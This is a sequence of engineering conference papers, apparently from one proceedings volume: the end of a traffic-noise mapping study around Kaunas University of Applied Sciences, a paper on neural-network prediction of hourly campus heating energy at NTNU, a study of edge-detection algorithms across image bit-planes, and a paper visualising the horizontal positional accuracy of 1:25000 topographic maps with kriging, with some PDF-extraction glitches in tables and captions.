Fig. 4. The noise map of Kaunas University of Applied Sciences

Meanwhile the highest allowed noise level in residential properties and public purpose facilities, where the teaching or education takes place is 65 dB(A). Interpreting research results it should be noted that the current noise level is significantly reduced with noise prevention tools – noise absorbent barrier, such as plants and trees growing by the University of Applied science Kauno kolegija. After recalculating noise level without noise absorbent barrier, it's concluded that noise level would increase by 5 dB(A).

The highest index of noise in the selected site is defined in V.Krevė - Pramonė ave. round-about – 107 dB[A] (1st. monitoring site). It is supported with the conducted 2016 monitoring data, when in various day time intervals (7-9am, 11am-1pm, and 3:30pm-5:30pm) the average vehicle amount in round-about towards the University of Applied Sciences Kauno kolegija from the site number one was - 6500 and from the site number two – 7200 vehicles. Influence on the increase of vehicle noise pollution is not only made by the increased number of vehicles, their age or weight, but also by raised speed limits and road surface coating interaction with tires. As additional noise reduction tools, the innovated road coating variations are considered – such as "silent asphalt" [7; 18; 19].

Many other authors have conducted detailed research in the residential property line areas [2; 8; 9]. The most requested living and transport line separations are the plant (green) zones. Plants retain and absorb noise as a filter. They are the fastest absorbents of high frequency noises. The 7 - 8m. wide, dense tree and bush zones reduce noise by 6-7 dB(A), and thick 40m. wide green zone – even 17-23 dB(A). Sparse 30m. wide zone reduces noise only by 8-11 dB(A). Plants effectiveness for reducing noise in leafless period is decreased by 50-80 %. To reduce the noise and to comply with the sanitary norms there is a need of such a green line, that would be at least 50m. wide or even wider. Green lines along highways are arranged with the trees and bushes that are resistant to gas emission. Trees are planted in a way that treetops interlace and bushes are planted under the trees. The noise in the city can be reduced not only with the help of trees, but with the lawns and grass as well; they absorb sounds way better than asphalted surfaces and reduce the city background noise [3].

Therefore it is thought that in the nearest 20-25 years in the biggest Middle and East Europe cities, due to vehicles, noise pollution will be increased by average 0,5 - 1dB(A) annually. If no action is taken to reduce the noise level, the 25% increase of vehicle flow will lead to the rise of noise level by 1 dB(A).

5. CONCLUSION

 The vehicle noise emission modeling is executed by entering GIS described data: traffic flow, speed, building height, heavy vehicle percentage in the traffic. The accuracy of interpolation is estimated by the cross testing method. It is determined that the IDW method is the most accurate, it results in average square bias – 0,47.

- 2. The University of Applied Sciences Kauno kolegija buildings do not exceed the level of noise that is in regulation for public purpose buildings (maximum noise level is 70 dB(A)); however, the residential properties near the University of Applied Sciences Kauno kolegija are in the zone where noise level significantly exceeds tolerated noise level (65-76 dB(A)).
- It is concluded that the level of noise in the University of Applied Sciences Kauno kolegija is reduced by the surrounding plants and trees. Without the surrounding vegetation the noise level would rise by 5 dB(A).
- 4. Noise pollution impact to the University of Applied Sciences Kauno kolegija employees and residents' health and living quality in the surrounding areas is indisputable and justifies a definite need for noise reduction tools.
- 5. In the residential properties, where noise level exceeds the edge of 69 dB(A), noise reduction methods must be implemented.

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PREDICTION OF HOURLY HEATING ENERGY USE FOR HVAC USING FEEDFORWARD NEURAL NETWORKS

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Abstract:

In this paper, feedforward neural network, one of the most widely used artificial intelligence methods, was proposed for the prediction of hourly heating energy use of one university campus. Two different approaches were presented: network that provides one output (heating energy use for selected hour) and network with 24 outputs (daily profile of heating energy use). The proposed models were trained and tested using real measured hourly energy use and meteorological data. It has been shown that both models can be used for the prediction with satisfying accuracy. This kind of prediction can be used for calculating accurate energy bills, which is very useful considering that the significant part of the campus is being leased. Estimating energy use for different weather conditions can help in energy planning.

Keywords:

neural networks, building energy use prediction.

1. INTRODUCTION

Building sector in Europe is responsible for 40% of total energy use and 36% of total CO, emission [1], so in order to carry out adequate energy planning, precise building energy use prediction is necessary. Existing methods for building energy use calculation can be roughly divided into three categories: "white box", "gray box" and "black box" methods [2]. "White box" approach uses physical techniques to model building behavior. Various software solutions based on solving equations describing heat transfer can be found on the market. This kind of modeling requires extensive knowledge of various mechanisms occurring inside and outside of the building envelope, so in recent years, significant attention has been given to statistical methods that do not require any physical information. When using "black box" (statistical, data-driven) methods, it is required that all input and output variables are known and measured. Modeling consists of determination of a mathematical relationship between the independent and dependent variables. One of the most used methods is Artificial Neural Network. The review on the different neural network models used for building energy prediction can be found in [3]. Ekici and Aksoy [4] developed the backpropagation three-layered ANN for the prediction of the heating energy requirements of various buildings.

In [5] the author used hourly heating energy use for a model house calculated by degree-hour method for training and testing the ANN model. Successful applications of ANN for prediction of building energy use can also be found in [6] and [7]. The main idea in this paper is to use real, measured energy use for training and testing the models.

2. ARTIFICIAL NEURAL NETWORKS

Artificial Neural Network (ANN) method is a computational intelligence technique, based on the information processing system of the human brain, which may be used as an alternative method in engineering analysis and prediction.

Feedforward backpropagation neural network (FFNN)

The feedforward neural network architecture consists of an input layer, an output layer, and one or more hidden layers of neurons. Each layer has a certain number of neurons which are fully interconnected with adaptable weighted connections to the neurons in the subsequent layer. The nonlinear activation functions in the hidden layer neurons enable the neural network to be a universal approximator. Training network comprises of adjustment of the weights, so that the network can produce the desired response to the given inputs. Various training algorithms could be applied to minimize the error function, but the most widely used is the backpropagation algorithm. It uses a gradient descent technique to minimize the cost function (mean square difference between the desired and the actual network outputs).

3. CASE STUDY

The Norwegian University of Science and Technology (NTNU) campus Gløshaugen is a typical representative of the group of "mixed use" buildings. It consists of 35 objects with significant energy use, such as classrooms, sport facilities, laboratories, kitchen, etc. The buildings are usually multi-functional, and most of them have laboratories, which indicate possible high energy use. The total campus area is approximately 300,000 m². Building and Energy Management System (BEMS) and web-based Energy Monitoring System (Energy Remote Monitoring – ERM) are available for operation and energy monitoring at NTNU [8]. Hourly heat and electricity consumption from all installed meters and submeters can be collected on ERM. The main heating use meter for the entire campus is located in Old Electric Building (Fig.1). It is installed by the district heating supplier, so these measurements are taken as relevant for creating the model.



Fig. 1. District heating in NTNU campus Gløshaugen.

4. MODEL DEVELOPMENT

In previous work, various models for prediction of daily heating energy use and their improvements were proposed [9-12]. For training and testing the models, the coldest period for years 2009-2012 was selected. The proposed single models were: FFNN, Radial Basis Function Network (RBFN), Adaptive Neuro-Fuzzy System (ANFIS), Support Vector Machine (SVM). The innovative approach comprised of: using ensemble technique (combining outputs of individual networks in single prediction), multi-stage ensembles (using neural network for combining the outputs of individual models), using k-means clustering for selecting ensemble members, kmeans clustering of input dataset. More details about these methodologies and achieved results can be found in [9-12]. The accuracy of the neural networks models for prediction of hourly heating energy use is investigated in this paper, as an extension of the previously published work.

For developing models and evaluating their prediction results, the coldest period for years 2009-2012 was used (the same as for modeling daily heating energy use). Data with obvious errors in measurement were removed from the dataset. In total, there were 309 days (7416 samples) for training period, and 98 days (2352 hourly heating consumption data) for testing period.

The selection of input variables has a critical role in building an ANN prediction model, and there is no general rule that can be followed in this process. In most cases, it depends on engineering judgement and experience and is carried out almost entirely by trial and error. However, some statistical analysis can be very helpful in determining variables with significant influence on the system output. Forward selection method was used to define the meteorological variables that have the biggest influence on hourly heating energy use. The results, as expected, showed that the mean hourly outside temperature is most highly correlated with the desired output variable.

For the prediction of hourly heating energy use two different models were developed. The first model (M1) is a FFN network with one output variable - hourly heating energy use, using following input variables: month of a year (M), day of a week (D), hour of a day (h), mean hourly outside temperature (t) and it is presented in Fig. 2.



Fig. 2. FFNN model with 4 inputs and 1 output.

In order to examine the possibility of predicting the daily profile of heating energy use, the second model (M2) was considered. Model M2 is similar to M1, with the following modifications: instead of using the hour of the day and mean hourly outside temperature as input variables, the daily temperature profile was used as input (24 values of mean hourly outside temperatures). In this case, there are 24 output values which represent predicted hourly heating use. This model, which gives the daily profile of district heating use in campus, is presented in Fig. 3.

It should be noted that both proposed models are static prediction models: they do not use output history (previous heating energy use) as an additional input variable.

For both models, three layer feedforward neural networks layer composed of one input layer, one output layer and one hidden were used. The activation functions used for the hidden and output layers were the hyperbolic tangent and linear functions, respectively. For various numbers of neurons in hidden layers of both models 20 networks were trained according to the Levenberg-Marquardt optimization algorithm, using different initial weights. All input and output variables were normalized to the interval (0,1) before training to ensure that no special variable is dominant over the others. The number of hidden neurons was identified using a trial and error procedure and it was found to be 10 neurons for M1 and 12 neurons for M2.

To evaluate the obtained results, the coefficient of determination (R^2), root mean square error (RMSE) and mean absolute percentage error (MAPE) were used as indices of the prediction accuracy for developed networks.



Fig. 3. FFNN model with 26 inputs and 24 outputs.

5. RESULTS AND DISCUSSION

Similarly to the previously mentioned work, the potential improvement of accuracy by adding previous heating energy use as additional input variable should be investigated. For the daily heating energy use of campus, prediction was more accurate when the energy use of the previous day was an input. But, it is necessary to have all input variables for the selected prediction period. That is the reason why these kinds of predictions are usually done one day ahead. The other possibility is to develop models to separately predict these input variables and then use them to predict energy use. These are challenges for application of almost all of different prediction methods in practice, especially for online types. In this paper, it is decided that the inputs are only the most influencing meteorological variables (outside air temperature).

Prediction indices are shown in Tab. 1. The results show that the network with 24 outputs achieves better prediction accuracy, both in training (MAPE=7.72%) and testing period (MAPE=10.93%), comparing to FFNN with one output, with error of 9.53% and 11.26% for training and testing database, respectively. The comparison between the measured data for the selected days in test period and prediction of FFNN model with 1 output and 24 outputs are shown in Fig.4 and Fig. 5.



Fig. 4. Comparison of measured hourly heating use and prediction of the FFNN models for one day in test period (day 6).



Fig. 5. Comparison of measured hourly heating use and prediction of the FFNN models for one day in test period (day 21).

		FFNN 4 inputs – 1 output	FFNN 26 inputs – 24 outputs
\mathbb{R}^2	Training	0.9339	0.9602
[-]	Test	0.9281	0.9255
MAPE 7 [%] —	Training	9.5298	7.7253
	Test	11.2615	10.9302
RMSE [kWh	Training	757.79	605.92
	Test	758.39	746.06

Table 1. Prediction quality indicies.

It can be seen that the output profiles of both models adequately match the measured district heating use. Fig. 6 and Fig.7 show MAPE by hour for training and testing period, respectively. It can be seen that the biggest errors, both for training and testing period, occur in early morning working hours. MAPE for FFNN model with one output goes up to 20%. These significant deviations have effect on total model prediction error and they indicate that the warm-up period of the campus should be taken into account. Slightly higher errors are also obvious in the period after working hours, when the heating energy use is not so correlated mainly with outside air temperature, but it also depends on the heating setpoint.



Fig. 6. MAPE for training perid by hours.



Fig. 7. MAPE for testing period by hours.

6. CONCLUSION

In this paper, prediction of hourly heating energy use for university campus Gløshaugen was investigated. For training models, the coldest period for 2009-2011 (7416 data samples) and for testing 2012 (2352 samples) were used. Two different FFNN models were developed: M1 -FFNN with 4 inputs (M, D, t, h) and one output (hourly heating energy use) and M2 -FFNN with 26 inputs (M, D, daily temperature profile) and 24 outputs (daily heating energy use). It is shown that both models can be used for the prediction of hourly heating energy use, while better results are achieved with FFNN with 24 outputs. The error achieved with M1 for test period is MAPE=11.26, and for M2 is 10.93%. These models may be used to recover the lost data on heating energy use for the purpose of

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issuing correct energy bills, since the significant part of the campus is leased to other users. Also, if predicted values of previously successfully trained models are significantly different from energy use read on the meter, it can indicate meter malfunctioning. It is possible to extend the database, by analyzing more similar objects and taking into account additional input variables. This kind of prediction of energy use for different weather conditions can help in future energy planning. It is also expected that predictive models using artificial intelligence will be more widely used in industry in order to accurately estimate energy use of complex systems with significant number of variables.

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ADVANCED ENGINEERING SYSTEMS

ANALYSIS OF DIFFERENT EDGE DETECTIONS ALGORITHMS THROUGH THE BIT-PLANE LAYERS

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Abstract:

The research paper below gives analyses of different kinds of edge detection algorithms, with gradient structure, observed on a bit-plane model. Even though each bit contains certain part of information of the image, different algorithms for edge detection of the image do not perform identically, which is proved on a practical example of this work. Research has been conducted via the analysis done on the individual level through the exact image, as well as through the extent of 350 images characteristic for digital transformation of image. Each result, based on structural similarity model (SSIM), is given using the extent of the details level that was observed.

Keywords:

digital image processing, Bit-plane, edge detection algorithm, level of detail.

1. INTRODUCTION

Every bit of image memory contains certain information about the image. On the other hand, detection algorithms at different conditions give different results, which is proved in work papers [1] – [3]. Although according to the classic definition of digital transformation of image specified in literature [4], and many other literature sources considered to be fundamental in this field [5] - [7], higher bits are used for edge defining, but the relation between edge detection and bit plane is not explained. Based on quantitative research for each bit separately researchers gave suggestions and propositions that certain algorithm should be used for certain scientific domain, for example Sober for Robotics, etc.

It is important to point out that certain scientific fields that are highly dependent on transformation of large number of images, such as Photogrammetry or Forensics takes into consideration all kinds of bits of one image (all 8), [8]. Then, certain algorithms are applied to bring out confident conclusions. Processing time is decreased up to four times by reduction of processed bits. The above-mentioned fields use large bases of processed, that is compared, images for the analysis, which complicates the processes. If it were possible to approximately determine which bit contains most information regarding specific algorithm, then only some parts of image bits would be processed/compared.

These particularities of different edge detection algorithms have defined them for diverse purposes areas. Theoretically, advantages and disadvantages could be discussed unlike superiority of an algorithm, neither in spatial domain nor in frequency domain.

2. METHODOLOGY

Original images were processed by an operator for digital images edge detection by decomposing them at the bit level by the bit 24 model record (8 bits per channel). Then each bit was compared with the image obtained with the help of a processing operator for edge detection with structural similarity model SSIM. All images used in processing were in TIFF format to avoid the possibility of losing them to the conversion. Also, all images were used in the theoretical framework of digital image processing and deliberations in various scientific works, so, the results of this work are measurable with other works. Representative image and part of the overall database of used images are shown in Fig. 1.



Fig. 1. Original images.

Used analyses included standard methods of theoretical bases for digital image processing. The level of details as a measure of change of some image parameter on observed part was a respectable parameter for image division into different categories for analysis. Range of processed images included complete characteristic range of level of details, divided into domains:

- Extremely Low Level of Detail (0 1.5),
- Low Level of Detail (1.51 3),
- Medium Level of Detail (3 5),
- High Level of Detail (6 7),
- Extremely High Level of Detail (7 and more).

Image	LoD (DCTD)			
Polygon	0.16			
Airplane	1.606			
Lena	2.3296			
Vegetable	3,0335			
Far Cry	6.3703			
Monkey	7.9774			

Table 1. Level Of Detail for Original Images.

Analysis goal was to bring out joint conclusions via two completely separated analyses - an analysis through the separate examples and through the complete overview on all characteristic images.

The first analyzed specific range of level of details presented with one image that exemplified the certain range. This kind of process was repeated over and over for different edge detection algorithms with an aim, to determine the potential for each bit in regard to the assigned algorithm image edges.

The second one analyzed all images that included into the specific range of level of details. Results of this analysis would give compared review of algorithm for edge detection and their nature over bit plane.

3. THEORETICAL BACKGROUND

Bit-plane

If it is assumed that each pixel in image is presented by 8 bits. Those 8 bits could be decomposed into 8 layers. Figure 2 shows range from the layer 1 which contains bits with the lowest importance to the layer 8 containing bits with the highest importance. This implies when image is firstly converted into greyscale palette regarding lightening and reflections [9].

This kind of analysis is important because it gives relative importance for each bit of image. It determines number of bit which is used for each quantization pixel, and have an important role in image compression [10].



Fig. 2. Structure of image bit-plane.

Level of Details (LoD)

Level of details is a measure of pixel value variation on the observed image. Frequent changes are expressed as high level of details, and vice versa. This image phenomenon, in most cases, does not appear on complete observed image but only on certain parts of the image. Therefore, the level of details could be observed over spatial and frequency domain.

The simplest kind of edge detection is the one that appears when image is divided into rectangle *KxM* pixels. This exact rectangle is used to measure number of pixels, number of changes or number of edges depending on defined ledge, inside of this rectangle. Formally and mathematically it is represented as follows:

$$\delta_i = \frac{\delta_{n_i}}{km}$$

Where δ_{n_i} relates to number of detected pixel edges inside of that rectangle km dimensions. In this case edge detection must be carried out over some algorithm used for edge detection. In most cases the used operator is a Laplacian operator for edge detection. As an outcome, errors in account can be counted based on errors defined by Laplacian operator. As well as range of observed pixels on which edges are defined in range between 0 and 1, for some certain rectangle δ_{n_i} [1].

Next step depends on applied transformation over observed image.

The structural similarity index (SSIM)

To avoid subjective evaluation a procedures automated quality assessment is required. Automatic assessment procedure is regarded as an objective evaluation and is useful in many applications where it is necessary to evaluate the visual effects that occur in images during acquisition, processing, transmission, compression and archiving. With a software implementation, time of the assessment is reduced from days and weeks to a few seconds. The main objective of automatic assessment of the quality of pictures/videos is to obtain predictions that are in good correlation with the average subjective assessment (MOS - Mean Opinion scope). The ideal objective measurement of quality assessment should be applicable in various types of distortion that quantitatively include varying degrees of distortion and consider the distribution of errors that occur. In practical applications in addition to the above-mentioned conditions computational complexity is also important [11, 12]. The index describes the structural similarity of image quality by comparing local correlation of luminance, contrast, and structure between the source and test images.

4. RESULTS & DISCUSSION

The results of the first analysis or comparative analysis of the edges detection algorithms seen through the prism of the band of detail level is given in Figures 3, 4, 5, 6, 7.

The behavior of different edge detecting algorithms in an extremely low level of detail is shown in Fig. 1. As can be appreciated by almost all algorithms the highest level of information about similarities is in the eighth bit, except for Prewit algorithm. Also, it may be concluded that in the detection of the edges, Sobel and Canny operators are required to be taken into account in the 2, 3, 4, 5, 6 and 8 bit, because there is 98% of the amount of edge information. Laplacian and Roberts operator in terms of the edges are defined in 5, 6 and 8 bit.



Fig. 3. Edge content in every bit of image, for various Edge Detection Algoritham trough Extremly Low Level of Detail.

Fig. 3 provides a comparative overview of algorithms for Low Level of Detail. It is very important to note that for Sobel operator of bit levels 5, 6, 7, and define more than 90% of the useful information, while for all other algorithms, it is necessary to observe from 5 to 8 bits.





For a medium level of detail given in Fig. 4, all algorithms can be defined with more than 85% of the information on edges in bit-planes 6, 7 and 8, while th e Laplacian can be defined through 6 and 8 bit. This information can significantly reduce processing time/comparisons in the use of algorithms to detect edges in the middle level of detail. Appraisal, that two or three bits carry a much larger part of the information about the edges in comparison with other bits, can affect the optimization of some image processing system.





The high level of detail given in Fig. 5 speaks of the high degree of concentration of information about the edges in 6, 7 and 8 bit. It is necessary, in this area to pay

attention to the Canny operator and concentration of information in 8 bit because there is 56% of the information. On the other hand, for Sobel operator in this case is necessary to take in the full extent because 32% of information is within the first 5 bits.





In order to avoid borderline cases, extremely low and extremely high level detail areas are separately evaluated. When it comes to extra high level of detail Laplacian, Prewit and Roberts is possible to observe the last three bits, while other operators should be treated based on all eight bits. This extreme situation suggests the difference in detection mode for images with extreme level of details.



Fig. 7. Edge content in every bit of image, for various Edge Detection Algoritham trough Extremely High Level of Detail.

The second segment of analysis included an analysis of each operator individually for the characteristic image for each band level of detail. In this analysis, it can be more clearly determined, the concentration ratio of edges information for each bit of the image. As you can notice the Laplacian operator for edge detection, 78% of the information of the image edges are in the 5, 6 and 8 bit. Regarding this, it may be proposed for future tests, that in these situations when using Laplacian operator only three bits mentioned are used, with the evaluation of detection/recognition of 78%.



Fig. 8. Laplacian Edge Detection.

Prewit edge detection operator can boast only 7.5% of the amount of information in the first 4 bits of the image. Which represents clearer situation as opposed to the Laplacian operator. The percentage of 92.5% in the last four bits actually gives in use processing/comparisons used the last 4 bits of the image. Although distinctive representative of 2D gradient operators, Prewit is precisely on this characteristic different from other operators.

Roberts operator suggests a bit different situation. In fact, 55% of complete information about the edges are 6 and 8 bit bit-level. While along with bits 4, 5 and 7, it is higher than 90%.

Canny operator for detection of edge as one of the derivatives of Sobel operator, provides insight into the analysis of complete spectrum of the level of detail in Fig. 9. The first to notice is ratio between these operators and low and extremely low level of detail. In the extremely low level of detail, almost all bits must be considered for the purpose of an analysis/comparison. Whereas, for a low level of detail only 7 and 8 bit are considered. Other values are far lower, and for image analysis with this operator all bits must be taken into account.



Fig. 9. Prewit Edge Detection



■ Poygon ■ Airplane ■ Lena ■ Vegetable ■ Far Cry ■ Monkey





Fig. 11. Canny Edge Detection.

Sobel edge detection operator as one of the most often cited in research papers is given in Fig. 12. Viewed through all image characteristic of the complete spectrum of level of detail, it can be clearly concluded that nearly all bits must be processed to get the desired information. In this case, the smallest exception can be made, and in potential work with bits with Sobel detection optionally 1 and in some cases 7 bit may be neglected. These individual cases are related to high and extra high level of detail.



Fig. 12. Canny Edge Detection.

5. CONCLUSION

Present research work provided the analysis of different types of digital images edge detection operators, through a complete spectrum of level of detail divided into certain categories. The analysis unambiguously showed some significant results that can be used in the optimization of certain systems that use a base with a large number of images. Future research will move toward possibilities that images used in forensics or in photogrammetry be optimized for operation in the existing system thus reducing processing time.

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ADVANCED ENGINEERING SYSTEMS

VISUALIZATION OF HORIZONTAL POSITIONAL ACCURACY ASSESSMENT RESULTS FOR DIGITAL TOPOGRAPHIC MAPS AT SCALE 1:25000

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Abstract:

The paper describes the visualization possibility of estimated results of horizontal positional accuracy of digital topographic map scale at 1:25 000 (DTM25) using geostatistical interpolation method. Estimation of horizontal positional accuracy DTM25 is realized by using standard STANAG 2215 (Standardization Agreement), which is intended for publishers of geotopographic material, or national mapping agencies for assessment of horizontal and vertical positional accuracy of spatial data by using ArcGIS software. The estimated results of horizontal positional accuracy are shown by means of a map that uses interpolated values of the root mean horizontal position.

Keywords:

Spatial data quality, Positional accuracy, STANAG 2215, Interpolation method, Kriging.

1. INTRODUCTION

Positional accuracy is one element of spatial data quality, which is defined as the accuracy of the position of features within a spatial reference system. Also, positional accuracy represents the nearness of those values to the entity's "true" position in the coordinate system. It is the quality element of geographic information most often used by the national mapping agencies (NMAs) and also more commonly evaluated quality element option. It consists of three sub-elements of data quality [7], [14]:

- Absolute or external accuracy closeness of reported coordinate values to values accepted as true, or being true;
- Relative or internal accuracy closeness of the relative position of features in a data set to their respective relative positions accepted as true, or being true;
- Positional accuracy of gridded data closeness of gridded data spatial position values to values accepted as true, or being true.

Visualization approaches of horizontal positional accuracy assessment results have been developed for different purposes, audiences, and levels of interactivity. These approaches, which can be classified into static mode and dynamic mode, have application potential for visualizing uncertainties in spatial data and analyses of digital topographic maps. In this paper, we use color map method for visualization results of horizontal accuracy assessment [4]. Evaluation of the accuracy is reduced to a comparison of coordinates of individual points read from maps with a reference. Reference data sets have several times more accurate coordinates of the correspondent points. Reference data sets are positioned using geodetic measurements in the field or taken from other more accurate sources. The basic problem in assessing positional accuracy of maps is the choice of accuracy measures (i.e. accuracy estimators), as well as a corresponding set of points that represent a chosen map sheet and the entire map [6].

Positional accuracy can be defined as the degree of proximity of an object, or as measuring it to its actual position, or to values in an appropriate reference system [3]. Positional accuracy is expressed through two variables that have a long history of use, and are a root mean square error and standard deviation [16].

2. HORIZONTAL POSITIONAL ACCURACY ASSESSMENT

Positional accuracy has been evaluated using control points. These points are defined as "well defined points", and their use has been conditioned by classical topographic field surveying methods. Following this idea there are many statistical Positional Accuracy Assessment Methodologies like [1]: NMAS [19], NSSDA [10], STANAG 2215 [15]. In addition, those methodologies represent point-based positional accuracy assessment methods and many of them are stated as standards for the positional control of cartographic products by national mapping agencies. Some of these methods have recently been analyzed in detail using a simulation process, and are compared by the same authors [9]. Nevertheless, researchers have criticized these standards for being limited to well defined points, and also for failing to address more complex elements like linear and polygon ones. It is not possible to assume that all features can be characterized by an error in the position of well-defined points [2].

On the other hand, the most widespread applied methods for the line-based positional accuracy assessment of 2D lines are the following: the Hausdorff Distance (HDM), the Mean Distance (MDM) [17], the Single Buffer Overlay (SBOM) [11] and the Double Buffer Overlay (DBOM) [18]. All abovementioned methods present an asymmetric or directional behavior, which means that results depend on direction of the assessment. The asymmetry comes from intervening elements when a distance estimation formula is applied. All results are understood as uniform errors along lines. We know that a distribution is non-uniform in line which is its limitation. Quality method used in this paper represents pointbased positional accuracy assessment method. Quality measures of horizontal positional accuracy used in this research are the following:

- The root mean square error of planimetry (RM-SEp) that is used in the Military Geographical Institute for the assessment of horizontal positional accuracy in earlier research;
- The circular error (circular map accuracy standard - CMAS) provided by the STANAG 2215 standard, with a 90% confidence level.

For the selected test area, projected coordinates of test points that had the content of sheet DTM25 were measured in eight sheets of digital topographic maps at a scale of 1:25000. Test points are point objects and nodes of line, or polygon features of the DTM25. Reference points are collected through fieldwork, during field checks using GPS, or with digital stereo restitution based on 3D photogrammetric stereo models. The process of collecting test points compared to the corresponding reference point was done by PAAT (Positional Accuracy Assessment Tool) ESRI ArcGIS software.

The PAAT uses the root mean square error for assessing the positional accuracy as the baseline, which is denoted by the RMSE (Root Mean Square Error). The RMSE is the second root of the mean sum of squared differences of coordinates, read from the map and the corresponding reference ("true") coordinates. The accuracy is communicated with nature-expressed coordinates (meter), which enables a direct comparison of different products, regardless of differences in scale or resolution [3]. The PAAT has the possibility of analyzing the two components of positional accuracy, a horizontal and vertical one (Figure 1).

In assessing positional accuracy, PAAT automatic testing and rejection of outliers are used. In this test statistics we used a value which represents the mean residual, plus three times the standard deviation, all being marked with the 3σ threshold. Any residual value that is greater than the 3σ threshold is considered to lie outside the valid values and the program automatically ejects this value, leaving the possibility of including these points [8].

The report on results of the analysis in positional accuracy using the PAAT consists of a text file for the appropriate test area. It consists of vector reference and test points data in a standard ESRI Shapefile and metadata in accordance with ISO 19115 and FGDC standards in the form of an XML file. Since the PAAT does not have an integrated analysis of positional accuracy based on the STANAG 2215 standard, the analysis results have been exported to Excel format.



Fig. 1. Tools for analysing positional accuracy - PAAT.

In order to provide enough uniformly distributed and well defined test points for the analysis of positional accuracy, the PAAT includes the ability to divide the entire test area into a regular grid. By defining the number of rows and columns, we define the value of a single cell grid. After collecting the individual test points in relation to a reference point in a single cell grid, the program will automatically lead to the next cell of the grid [6]. In the experimental study, we defined 13 rows and 13 columns, which enable the test area to be divided into 169 equal-cell grid. Since the STANAG 2215 standard specifies that the minimal number of points in the analysis of positional accuracy should be 167, such gridded sampling has provided the test area with enough uniformly distributed well-defined points [15].

3. GEOSTATISTICAL INTERPOLATION METHODS

The positional accuracy assessment results of digital spatial data have great potential in visual display. It has already been mentioned that, in assessing the positional accuracy of the test area per the STANAG 2215 standard, at least 167 evenly spaced, well-defined diagnostic test points were used. For those, the value of the root mean square error of the horizontal points' position is shown graphically using the size of symbols. By using the method of interpolation, it is possible for each test area to get to the surface of the root mean square error of the horizontal points' position value. The most commonly used interpolation methods are:

- interpolation using movable surfaces (interpolation with local polynomials and the inverse distance method);
- the geostatistical interpolation method (Ordinary Kriging).

Theoretically, the fairest result in some of the surface modeling, based on measured values of the reference points, should be expected when using geostatistical methods, from which the most commonly used, is Kriging. The Kriging method is based on a treatment carried out by interpolation in accordance with the theory of regionalized variables. The basic idea of Kriging is to predict the value of a function at a given point by computing a weighted average of the known values of the function in the point's surrounding. For all types of Kriging, it is assumed that the modeled surface is represented in the generic form [13]:

$$Z(s) = \mu(s) + \varepsilon(s) \tag{1}$$

Where μ (s) trends the surface, while the ϵ (s) is the surface, which is the result of a random process. Interpolation using the geostatistical method is performed in two steps:

- Quantification of the spatial structure of the surface that is modelled (based on input data) and
- Prediction, i.e. assessing the value of tool surface at given points.

The quantification of the modelled spatial structure of the surface is performed by determining the empirical covariance function, which is a semivariogram describing the spatial dependence of the post of the surface points. The main problem with the practical application of these methods is the right choice of the appropriate covariance functions (semivariograms), i.e. selection of an appropriate model function and empirical determination of the parameters and functions.

The standard version of Kriging is called Ordinary Kriging (OK). Its predictors are based on a model [12]:

$$Z(s) = \mu + \varepsilon'(s) \tag{2}$$

Where μ is a constant stationary function (global mean), and ε '(*s*) represents a spatially correlated stochastic part of variation. The result of the variable Z at a given location *s*₀ is a combination of sampled values [12]:

$$\hat{Z}_{OK}(s_0) = \sum_{i=1}^n w_i(s_0) \cdot z(s_i) = \lambda_0^T \cdot z \quad (3)$$

Where λ_0 is a vector of weight coefficients (w_i) for Ordinary Kriging, and z is a vector of available samples (measured values at specific locations). A semivariogram model is used to calculate the covariance matrix and vectors, which show the key sizes for achieving the optimal weight coefficients at any point in which a prediction is made. The system of equations, which provides weight coefficients w_i, is given in a matrix notation:

$$\lambda_o = C^{-1} \cdot s \tag{4}$$

Where C is the co-variation matrix between all sampled values, derived for $n \times n$ observations, and c0 being the vector of covariance between the sampled points and the point where the value is assessed.

Kriging is not limited to a simple estimate of the observed variable at a certain point, but this method can also[13]:

- Calculate the variance of the variable, which enables determination of the estimated size of confidence in intervals;
- Assess an average value of the variable in a section of the area,
- Determine the best location for a new measurement point before planning a network of measuring points.

The software program, which used ArcGIS in the process of the interpolation method, will be offered an opportunity to be cross validated in order to reach the optimal parameters for the selection of reference points. Cross Validation is used for quality assessment or validation of results to predict the applied method of interpolation. It is a process where the interpolation, using the selected parameters (and interpolation methods), interpolates desired value (predicted value) in a reference point, on the condition that the item is not taking part in the interpolation. Different measures and predicted values are to be made afterwards. The procedure is repeated for all locations at which the measurement was performed.

4. RESULTS AND DISCUSSION

Table 1 shows the parts of the Excel spreadsheet with the results of the positional accuracy assessment of the test area covered by a single sheet DTM25, nomenclature NK34-5/6-2-4 Vranje.

From the figures in the table it can be concluded that the value of the root mean square error planimetry (RMSEr) is 5,413 meters, while the average value of the horizontal position (dR) for that test area is 4,658 meters.

Differences in coordinate individual test points are provided in both directions, in meters, and we can see that the values of coordinate differences in the Y-axis (E) ranging from 7,829 to -12.387 meters, while the X-axis (N) range from 14,288 to -8.467 meters.

Based on the obtained results of DTM25 positional accuracy evaluation, the value of circular map accuracy standard (CMAS) is 7,785 meters, and since the value of the CMAS is less than 12.5 meters (CMAS <12.5 m) it can be concluded that the test map belongs to the best "A" map class according to the classification STANAG 2215 standards.

Figure 2 shows a map with test points in the assessment of horizontal positional accuracy for a specified test area. These test points are symbolized by different sizes of topographical indications in reliance to the middle of the square root of the horizontal position, as well as the modelled values of root middle horizontal position geostatistical interpolation method - Ordinary Kriging.

5. CONCLUSION

The purpose of describing the quality of spatial data is to present its ability to allow the comparison and selection

of data that best suits the needs, application or customer requirements. A complete description of the quality of data shall encourage the sharing, exchange and use of appropriate spatial data sets [5]. mental importance for map users and its manufacturers. Unlike most map properties, its horizontal positional accuracy can be fully examined and quantified in an exact way. This paper presents one of the possibilities of presenting results of an assessment of positional ac-

The knowledge of positional accuracy has funda-

E measure d	N measured	H measure d	E reference	N reference	H refs.	dE [m]	dN [m]	dH [m]	dR
568474.46	4714700.00	1138.72	568478.03	4714704.76	1138.23	-3.57	-4.76	12:49	5,953
578604.46	4708877.38	436.16	578602.37	4708883.12	435.00	2:09	-5.75	1:16	6,115
	Number of measurements n =		168	RMSE dE =	3,575				
					RMSE dN =	4,065			
	The	mean value d	E =	-1234	RMSE = dH	1,474			
	range of dE		7,839						
			to	-12,387	RMSEr =	5,413			
	The mean value of $dN =$		1,271		Standard ST	ANAG 2215			
dN range of		14,288							
to			-8467	Standard deviation	on at E =		3,365		
				Standard deviation	on at N =		3,873		
The mean value of $dH =$		-0.092	Standard deviation	on at H =		1,476			
dH range of		5,204		SIGMAc =		3,628			
			to	-4390	tl	0% =		1,654	
	Mid	dle position v	alue	4 659	C	MAS =		7,785	
